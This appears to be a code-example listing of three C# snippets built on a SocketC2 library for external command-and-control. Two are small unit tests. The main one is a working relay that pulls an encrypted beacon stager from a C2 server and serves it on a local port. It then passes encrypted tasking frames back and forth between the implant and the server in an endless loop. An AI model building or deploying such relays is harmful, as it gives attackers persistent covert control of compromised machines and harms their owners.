Example #1
0
        public void BeaconCanConstruct()
        {
            SocketC2 beacon = null;

            try
            {
                // Instantiate a configured beacon
                beacon = new SocketC2(_socketIp, _socketPort);

                // Check that the channels were instaniated
                Assert.IsInstanceOfType(beacon.BeaconChannel, typeof(BeaconChannel));
                Assert.IsInstanceOfType(beacon.ServerChannel, typeof(SocketChannel));

                // Check that the property values are correct
                Assert.IsNotNull(beacon.IpAddress);
                Assert.AreEqual(_socketIp, beacon.IpAddress);
                Assert.IsNotNull(beacon.Port);
                Assert.AreEqual(_socketPort, beacon.Port);
            }
            catch (Exception ex)
            {
                Console.WriteLine($"Failed: {ex.Message}");
                Assert.Fail();
            }
            finally
            {
                // Test specific clean up
                if (beacon != null && beacon.Started)
                {
                    beacon.Stop();
                }
            }
        }
Example #2
0
        static void Main(string[] args)
        {
            string ip    = args[0];
            string port  = args[1];
            string rhost = "127.0.0.1";
            int    rport = 7001;

            byte[]   recvBytes = Encoding.Default.GetBytes("");
            SocketC2 socketC2  = new SocketC2(ip, port);

            socketC2.ServerChannel.Connect();
            byte[] sta = Encrypt(socketC2.ServerChannel.GetStager("qaxnb", true, 500));
            Console.WriteLine(sta.Length);
            List <byte> data = new List <byte>();

            byte[]     buffer = new byte[1024];
            int        length = 0;
            IPEndPoint iPEnd  = new IPEndPoint(IPAddress.Parse(rhost), rport);
            Socket     s      = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

            s.Bind(iPEnd);
            s.Listen(0);
            Socket temp = s.Accept();

            temp.Send(sta, sta.Length, 0);
            while (true)
            {
                try
                {
                    while ((length = temp.Receive(buffer)) > 0)
                    {
                        for (int i = 0; i < length; i++)
                        {
                            data.Add(buffer[i]);
                        }
                        if (length < buffer.Length)
                        {
                            break;
                        }
                    }
                }
                catch { }
                if (data.Count > 0)
                {
                    Console.WriteLine("client返回长度:  " + data.ToArray().Length);
                    socketC2.ServerChannel.SendFrame(Decrypt(data.ToArray()));
                    data.Clear();
                }
                else
                {
                    Console.WriteLine("client返回空");
                }
                data.Clear();
                recvBytes = Encrypt(socketC2.ServerChannel.ReadFrame());
                temp.Send(recvBytes, recvBytes.Length, 0);
            }
        }
Example #3
0
 public void Setup()
 {
     _beacon = new SocketC2();
 }